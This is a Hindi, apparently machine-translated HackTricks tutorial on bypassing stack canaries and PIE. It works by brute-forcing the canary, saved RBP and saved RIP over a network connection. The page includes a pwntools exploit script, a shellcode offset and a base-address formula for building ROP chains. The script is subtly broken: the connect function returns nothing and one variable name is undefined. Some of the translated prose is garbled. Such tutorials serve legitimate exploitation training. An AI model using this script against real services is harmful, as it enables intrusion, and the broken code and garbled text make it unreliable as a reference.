BF Addresses in the Stack

HackTricks का समर्थन करें

यदि आपके सामने एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल) द्वारा संरक्षित बाइनरी है, तो आपको उन्हें उम्मीद से बाहर करने का एक तरीका खोजने की आवश्यकता होगी।

ध्यान दें कि checksec यह नहीं पता लगा सकता कि एक बाइनरी को कैनरी द्वारा संरक्षित किया गया है अगर यह स्थाई रूप से कॉम्पाइल किया गया था और यह फ़ंक्शन को पहचानने की क्षमता नहीं है। हालांकि, आप इसे मैन्युअल रूप से नोट कर सकते हैं अगर आपको लगता है कि किसी मान को फ़ंक्शन कॉल की शुरुआत में स्टैक में सहेजा गया है और इस मान की जांच की जाती है पहले निकलने से पहले।

ब्रूट-फ़ोर्स पतों

PIE को बाहर करने के लिए आपको कुछ पतों को लीक करने की आवश्यकता है। और यदि बाइनरी को कोई पते नहीं लीक कर रहा है तो सबसे अच्छा यह है कि आप वलनरेबल फ़ंक्शन में स्टैक में सहेजे गए RBP और RIP को ब्रूट-फ़ोर्स करें। उदाहरण के लिए, यदि एक बाइनरी को एक कैनरी और PIE का उपयोग करके संरक्षित किया गया है, तो आप कैनरी को ब्रूट-फ़ोर्स करना शुरू कर सकते हैं, फिर अगले 8 बाइट (x64) सहेजे गए RBP होंगे और अगले 8 बाइट सहेजे गए RIP होंगे।

समझा जाता है कि स्टैक में वापसी पता मुख्य बाइनरी कोड का हिस्सा है, जो, यदि वंशावली बाइनरी कोड में स्थित है, तो आम तौर पर मामला होगा।

बाइनरी से RBP और RIP को ब्रूट-फ़ोर्स करने के लिए आप यह तय कर सकते हैं कि एक मान्य अनुमानित बाइट सही है अगर प्रोग्राम कुछ आउटपुट करता है या यह बस क्रैश नहीं होता। ब्रूट-फ़ोर्सिंग के लिए प्रदान किए गए वही फ़ंक्शन कैनरी को ब्रूट-फ़ोर्स करने के लिए उपयोग किया जा सकता है जितना कि RBP और RIP को ब्रूट-फ़ोर्स करने के लिए:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

आपको PIE को परास्त करने के लिए आखिरी चीज़ यह है कि लीक हुए पतों से उपयोगी पतों की गणना करें: RBP और RIP

RBP से आप स्टैक में अपनी शैल कहाँ लिख रहे हैं यह गणना कर सकते हैं। यह जानना बहुत उपयोगी हो सकता है कि आप स्टैक के अंदर "/bin/sh\x00" स्ट्रिंग को कहाँ लिखने जा रहे हैं। लीक हुए RBP और अपने शैलकोड के बीच की दूरी की गणना करने के लिए आप बस एक ब्रेकपॉइंट डाल सकते हैं जब RBP लीक हो जाए और चेक कर सकते हैं कि आपका शैलकोड कहाँ स्थित है, फिर, आप शैलकोड और RBP के बीच की दूरी की गणना कर सकते हैं:

INI_SHELLCODE = RBP - 1152

RIP से आप PIE binary का base address की गणना कर सकते हैं जो आपको एक वैध ROP chain बनाने की आवश्यकता है। बेस एड्रेस की गणना के लिए बस objdump -d vunbinary करें और नवीनतम पते का डिसएंबल जांचें:

उस उदाहरण में आप देख सकते हैं कि सभी कोड को ढूंढने के लिए केवल 1 बाइट और आधा आवश्यक है, फिर, इस स्थिति में बेस एड्रेस लीक RIP होगा लेकिन "000" पर समाप्त होगा। उदाहारण के लिए अगर आपने 0x562002970ecf लीक किया है तो बेस एड्रेस 0x562002970000 होगा।

elf.address = RIP - (RIP & 0xfff)

सुधार

इस पोस्ट से कुछ अवलोकन के अनुसार, यह संभव है कि RBP और RIP मानों को लीक करते समय, सर्वर क्रैश नहीं होगा जब कुछ मान गलत हों जो सही नहीं हैं और BF स्क्रिप्ट सोचेगा कि उसने सही मान प्राप्त किए हैं। यह इसलिए है क्योंकि संभावना है कि कुछ पते इसे तोड़ नहीं पाएंगे भले ही वे बिल्कुल सही न हों

उस ब्लॉग पोस्ट के अनुसार सुझाव दिया गया है कि सर्वर के बीच अनुरोधों के बीच एक छोटी देरी जोड़ना चाहिए।

Last updated